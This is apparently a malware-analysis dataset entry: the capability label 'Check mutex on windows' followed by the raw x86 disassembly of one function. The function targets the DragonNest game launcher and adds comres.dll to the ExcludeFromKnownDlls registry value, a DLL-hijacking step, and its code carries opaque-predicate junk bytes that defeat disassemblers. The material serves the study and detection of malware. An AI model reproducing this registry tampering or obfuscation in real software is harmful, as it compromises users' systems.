Function at 0x408114
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
call fcn.004020b0
cmp eax, eax
je 0x407eae
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x407eb6
in al, 0x1d
je 0x407ebe
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add byte [edx], ch
jne 0xda0fea
push 0
call fcn.00407690
cmp eax, eax
je 0x407edb
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x407ee3
in al, 0x1d
je 0x407eeb
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
jne 0xda1017
cdq
add dh, al
inc ebp
invalid
mov byte [ebp - 0x10], 0x6b
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x72
mov byte [ebp - 0xd], 0x6e
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x6c
mov byte [ebp - 0xa], 0x33
mov byte [ebp - 9], 0x32
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x64
mov byte [ebp - 6], 0x6c
mov byte [ebp - 5], 0x6c
mov byte [ebp - 4], 0
jmp 0x407f2d
push eax
call 0x407f37
je 0x407f9b
jns 0x407eef
pop eax
pop eax
mov byte [ebp - 0x28], 0x47
mov byte [ebp - 0x27], 0x65
mov byte [ebp - 0x26], 0x74
mov byte [ebp - 0x25], 0x43
mov byte [ebp - 0x24], 0x6f
mov byte [ebp - 0x23], 0x6d
mov byte [ebp - 0x22], 0x6d
mov byte [ebp - 0x21], 0x61
mov byte [ebp - 0x20], 0x6e
mov byte [ebp - 0x1f], 0x64
mov byte [ebp - 0x1e], 0x4c
mov byte [ebp - 0x1d], 0x69
mov byte [ebp - 0x1c], 0x6e
mov byte [ebp - 0x1b], 0x65
mov byte [ebp - 0x1a], 0x41
mov byte [ebp - 0x19], 0
jmp 0x407f81
fidiv dword [esi + eax*8 + 0x45]
fild dword [ebx - 0x3a]
inc ebp
fsubr qword [edi - 0x3a]
inc ebp
invalid
push eax
call 0x407f8b
je 0x407fef
jns 0x407f43
pop eax
pop eax
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call main
call eax
push eax
call fcn.00406a20
add esp, 4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x408008
cmp eax, eax
je 0x407fc5
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x407fcd
in al, 0x1d
je 0x407fd5
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add byte [ebp + 0x6a52ec55], cl
add byte [ebx + 0x6850e845], cl
loopne 0x408053
jne 0xda1101
lea edx, [ebp - 0x14]
push edx
push 0
mov eax, dword [ebp - 0x18]
push eax
push 0x406be0
push 0
inc eax
add byte [edx], ch
push 0
call dword [0x401144]
adc eax, 0x401144
jmp 0x407ffc
push eax
call 0x408006
je 0x40806a
jns 0x407fbe
pop eax
pop eax
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x40129c
push fcn.00405ae0
push 4
call dword [0x401170]
push 0x104
push 0x401198
mov ecx, dword [0x40129c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [ebp - 0x14]
push edx
push 0
push 0
push 0x4080d0
push 0
push 0
call dword [0x401144]
cmp eax, eax
je 0x408063
add dh, cl
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
je 0x40806b
in al, 0x1d
sbb eax, 0x2840f
add byte [eax], al
je 0x408073
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add byte [ebp + 0x6a50ec45], cl
add byte [edx], ch
jne 0xda119f
lea eax, [ebp - 0x14]
push eax
push 0
push 0
push 0x4017e0
push 0
push 0
call dword [0x401144]
jmp 0x408098
push eax
call 0x4080a2
je 0x408106
jns 0x40805a
pop eax
pop eax
jmp 0x4080b1
push 0xf4240
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4080a6
pop ebp
ret
add byte [ecx - 0x17af4e8e], bl
add al, 0
add byte [eax], al
je 0x408178
jns 0x4080cc
pop eax
pop eax
call dword [0x401098]
push 0
push 0
push 0
call dword [0x401114]
push eax
call dword [0x4010bc]
push 0
push 0
push 0
lea eax, [ebp - 0x148]
push eax
call dword [0x401138]
push 0
inc eax
add byte [edx], ch
call dword [fcn.0040109c]
push eax
call fcn.004067d0
add esp, 4
mov byte [ebp - 0xb8], 0x50
mov byte [ebp - 0xb7], 0x41
mov byte [ebp - 0xb6], 0x52
mov byte [ebp - 0xb5], 0x41
mov byte [ebp - 0xb4], 0
jmp 0x40817e
add byte [eax], al
add byte [ecx - 0x17af4e8e], bl
add al, 0
add byte [eax], al
push eax
call 0x408188
je 0x4081ec
jns 0x408140
pop eax
pop eax
mov byte [ebp - 0xa4], 0x64
mov byte [ebp - 0xa3], 0x6e
mov byte [ebp - 0xa2], 0x6c
mov byte [ebp - 0xa1], 0x6f
mov byte [ebp - 0xa0], 0x76
mov byte [ebp - 0x9f], 0x65
mov byte [ebp - 0x9e], 0x30
mov byte [ebp - 0x9d], 0x2e
mov byte [ebp - 0x9c], 0x30
mov byte [ebp - 0x9b], 0x32
mov byte [ebp - 0x9a], 0
lea ecx, [ebp - 0xb8]
push ecx
call fcn.00405730
add esp, 4
push eax
lea edx, [ebp - 0xa4]
push edx
push 0x401674
lea eax, [ebp - 0x110]
push eax
call dword [fcn.004010ac]
call dword [edx + 0x68]
je 0x408207
inc eax
add byte [ebp - 0x10f7b], cl
call dword [eax - 1]
adc eax, fcn.004010ac
add esp, 0x10
lea ecx, [ebp - 0x110]
push ecx
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0xc0], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x408283
invalid
mov edx, dword [ebp - 0xc0]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
adc byte [eax], al
cmp eax, eax
je 0x408244
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x40824c
in al, 0x1d
je 0x408254
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add byte [ebx - 0xbf7b], cl
call dword [eax - 1]
adc eax, sym.imp.KERNEL32.dll_CloseHandle
jne 0xda1380
mov eax, dword [ebp - 0xc0]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40826f
push eax
call 0x408279
je 0x4082dd
jns 0x408231
pop eax
pop eax
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov byte [ebp - 0x12c], 0x44
mov byte [ebp - 0x12b], 0x72
mov byte [ebp - 0x12a], 0x61
mov byte [ebp - 0x129], 0x67
mov byte [ebp - 0x128], 0x6f
mov byte [ebp - 0x127], 0x6e
mov byte [ebp - 0x126], 0x4e
mov byte [ebp - 0x125], 0x65
mov byte [ebp - 0x124], 0x73
mov byte [ebp - 0x123], 0x74
mov byte [ebp - 0x122], 0x20
mov byte [ebp - 0x121], 0x6c
mov byte [ebp - 0x120], 0x61
popal
mov byte [ebp - 0x11f], 0x75
mov byte [ebp - 0x11e], 0x6e
mov byte [ebp - 0x11d], 0x63
mov byte [ebp - 0x11c], 0x68
mov byte [ebp - 0x11b], 0x65
mov byte [ebp - 0x11a], 0x72
mov byte [ebp - 0x119], 0
mov byte [ebp - 0xb0], 0x44
mov byte [ebp - 0xaf], 0x52
mov byte [ebp - 0xae], 0x41
mov byte [ebp - 0xad], 0x47
mov byte [ebp - 0xac], 0x4f
mov byte [ebp - 0xab], 0x4e
mov byte [ebp - 0xaa], 0x4e
mov byte [ebp - 0xa9], 0x45
mov byte [ebp - 0xa8], 0x53
mov byte [ebp - 0xa7], 0x54
mov byte [ebp - 0xa6], 0
mov byte [ebp - 0x118], 0x23
mov byte [ebp - 0x117], 0x33
mov byte [ebp - 0x116], 0x32
mov byte [ebp - 0x115], 0x37
mov byte [ebp - 0x114], 0x37
mov byte [ebp - 0x113], 0x30
mov byte [ebp - 0x112], 0
mov dword [ebp - 0xbc], 0
cmp dword [ebp - 0xbc], 0
jne 0x408426
lea ecx, [ebp - 0x12c]
push ecx
lea edx, [ebp - 0x118]
push edx
call dword [0x401148]
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jne 0x408402
cmp eax, eax
je 0x4083d7
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x4083df
in al, 0x1d
je 0x4083e7
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add byte [edx], ch
jne 0xda1513
push 0
lea eax, [ebp - 0xb0]
push eax
call dword [0x401148]
mov dword [ebp - 0xbc], eax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x408415
push eax
call 0x40841f
je 0x408483
jns 0x4083d7
pop eax
pop eax
jmp 0x408397
mov dword [ebp - 0xbc], 0
invalid
cmp dword [ebp - 0xbc], 0
jne 0x4084bf
lea ecx, [ebp - 0x12c]
push ecx
lea edx, [ebp - 0x118]
push edx
call dword [0x401148]
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jne 0x408489
jmp 0x408468
push eax
call 0x408472
je 0x4084d6
jns 0x40842a
pop eax
pop eax
push 0
lea eax, [ebp - 0xb0]
push eax
call dword [0x401148]
mov dword [ebp - 0xbc], eax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp eax, eax
je 0x4084a4
inc eax
add byte [ebx], bh
ror byte [edi], 0x84
or byte [eax], al
add byte [eax], al
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x4084ac
in al, 0x1d
je 0x4084b4
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add cl, ch
jno 0x4084bc
jne 0xda15e0
jmp 0x408430
invalid
invalid
cmp dword [ebp - 0xbc], 0
je 0x40852d
jmp 0x4084d0
push eax
call 0x4084da
je 0x40853e
jns 0x408492
pop eax
pop eax
push 0
lea ecx, [ebp - 0xb0]
push ecx
call dword [0x401148]
mov dword [ebp - 0xbc], eax
call fcn.00406410
mov edx, dword [ebp - 0xbc]
push edx
call fcn.004068d0
add esp, 4
cmp eax, eax
je 0x408515
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x40851d
in al, 0x1d
je 0x408525
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add bl, ch
xchg edx, eax
jne 0xda1651
jmp 0x4084bf
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00407460
mov dword [ebp - 0x98], eax
cmp eax, eax
je 0x408553
test dword [eax - 1], ebp
invalid
or byte [eax], al
add byte [eax], al
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x40855b
in al, 0x1d
je 0x408563
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add al, ch
mov byte [0x8bffffde], al
test dword [eax - 1], ebp
invalid
jne 0xda168f
call fcn.00406410
mov eax, dword [ebp - 0x98]
push eax
call 0x406ff0
add esp, 4
jmp 0x408585
push eax
call 0x40858f
je 0x4085f3
jns 0x408547
pop eax
pop eax
mov ecx, dword [ebp - 0x98]
push ecx
call sub.MSVCRT.dll_free
add esp, 4
mov dword [ebp - 0x94], 0x94
cmp eax, eax
je 0x4085ba
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x4085c2
in al, 0x1d
je 0x4085ca
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add byte [ebp - 0x936b], cl
call dword [edx - 1]
adc eax, sym.imp.KERNEL32.dll_GetVersionExA
jne 0xda16f6
lea edx, [ebp - 0x94]
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
call fcn.00406410
cmp dword [ebp - 0x90], 5
jbe 0x4088fa
jmp 0x4085f7
add byte [ecx - 0x17af4e8e], bl
add al, 0
add byte [eax], al
push eax
call 0x408601
je 0x408665
jns 0x4085b9
pop eax
pop eax
mov dword [ebp - 0x14c], 0x104
cmp eax, eax
je 0x40861d
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x408625
in al, 0x1d
je 0x40862d
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add dh, al
test dword [eax + 0xfffffd], esi
jne 0xda1759
mov byte [ebp - 0x250], 0
mov byte [ebp - 0x288], 0x53
mov byte [ebp - 0x287], 0x59
mov byte [ebp - 0x286], 0x53
mov byte [ebp - 0x285], 0x54
mov byte [ebp - 0x284], 0x45
mov byte [ebp - 0x283], 0x4d
mov byte [ebp - 0x282], 0x5c
mov byte [ebp - 0x281], 0x43
mov byte [ebp - 0x280], 0x75
mov byte [ebp - 0x27f], 0x72
mov byte [ebp - 0x27e], 0x72
mov byte [ebp - 0x27d], 0x65
mov byte [ebp - 0x27c], 0x6e
mov byte [ebp - 0x27b], 0x74
mov byte [ebp - 0x27a], 0x43
mov byte [ebp - 0x279], 0x6f
mov byte [ebp - 0x278], 0x6e
mov byte [ebp - 0x277], 0x74
mov byte [ebp - 0x276], 0x72
mov byte [ebp - 0x275], 0x6f
mov byte [ebp - 0x274], 0x6c
mov byte [ebp - 0x273], 0x53
mov byte [ebp - 0x272], 0x65
mov byte [ebp - 0x271], 0x74
mov byte [ebp - 0x270], 0x5c
mov byte [ebp - 0x26f], 0x43
mov byte [ebp - 0x26e], 0x6f
mov byte [ebp - 0x26d], 0x6e
mov byte [ebp - 0x26c], 0x74
mov byte [ebp - 0x26b], 0x72
mov byte [ebp - 0x26a], 0x6f
mov byte [ebp - 0x269], 0x6c
mov byte [ebp - 0x268], 0x5c
mov byte [ebp - 0x267], 0x53
mov byte [ebp - 0x266], 0x65
mov byte [ebp - 0x265], 0x73
mov byte [ebp - 0x264], 0x73
mov byte [ebp - 0x263], 0x69
mov byte [ebp - 0x262], 0x6f
mov byte [ebp - 0x261], 0x6e
mov byte [ebp - 0x260], 0x20
mov byte [ebp - 0x25f], 0x4d
mov byte [ebp - 0x25e], 0x61
mov byte [ebp - 0x25d], 0x6e
mov byte [ebp - 0x25c], 0x61
mov byte [ebp - 0x25b], 0x67
test dword [esi - 3], edi
invalid
mov byte [ebp - 0x25a], 0x65
mov byte [ebp - 0x259], 0x72
mov byte [ebp - 0x258], 0
lea eax, [ebp - 0x254]
push eax
lea ecx, [ebp - 0x288]
push ecx
push 0x80000002
call dword [0x401128]
test eax, eax
jne 0x4088fa
jmp 0x4087ba
push eax
call 0x4087c4
je 0x408828
jns 0x40877c
pop eax
pop eax
mov byte [ebp - 0x2ac], 0x45
mov byte [ebp - 0x2ab], 0x78
mov byte [ebp - 0x2aa], 0x63
mov byte [ebp - 0x2a9], 0x6c
mov byte [ebp - 0x2a8], 0x75
mov byte [ebp - 0x2a7], 0x64
mov byte [ebp - 0x2a6], 0x65
mov byte [ebp - 0x2a5], 0x46
mov byte [ebp - 0x2a4], 0x72
mov byte [ebp - 0x2a3], 0x6f
mov byte [ebp - 0x2a2], 0x6d
mov byte [ebp - 0x2a1], 0x4b
mov byte [ebp - 0x2a0], 0x6e
mov byte [ebp - 0x29f], 0x6f
mov byte [ebp - 0x29e], 0x77
mov byte [ebp - 0x29d], 0x6e
mov byte [ebp - 0x29c], 0x44
mov byte [ebp - 0x29b], 0x6c
mov byte [ebp - 0x29a], 0x6c
mov byte [ebp - 0x299], 0x73
mov byte [ebp - 0x298], 0
cmp eax, eax
je 0x408869
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x408871
in al, 0x1d
je 0x408879
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add dh, al
test dword [ebp + edi*8 - 1], ebp
jmp dword [ebx - 0x3a]
jne 0xda19a5
mov byte [ebp - 0x294], 0x63
mov byte [ebp - 0x293], 0x6f
mov byte [ebp - 0x292], 0x6d
mov byte [ebp - 0x291], 0x72
mov byte [ebp - 0x290], 0x65
mov byte [ebp - 0x28f], 0x73
mov byte [ebp - 0x28e], 0x2e
mov byte [ebp - 0x28d], 0x64
mov byte [ebp - 0x28c], 0x6c
mov byte [ebp - 0x28b], 0x6c
mov byte [ebp - 0x28a], 0
push 0xb
lea edx, [ebp - 0x294]
push edx
push 7
push 0
lea eax, [ebp - 0x2ac]
push eax
mov ecx, dword [ebp - 0x254]
push ecx
call dword [0x401134]
mov edx, dword [ebp - 0x254]
push edx
call dword [0x401124]
cmp eax, eax
je 0x40890a
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x408912
in al, 0x1d
je 0x40891a
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add bh, al
add eax, 0x401090
add dword [eax], eax
add byte [eax], al
jne 0xda1a46
mov dword [0x401090], 1
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]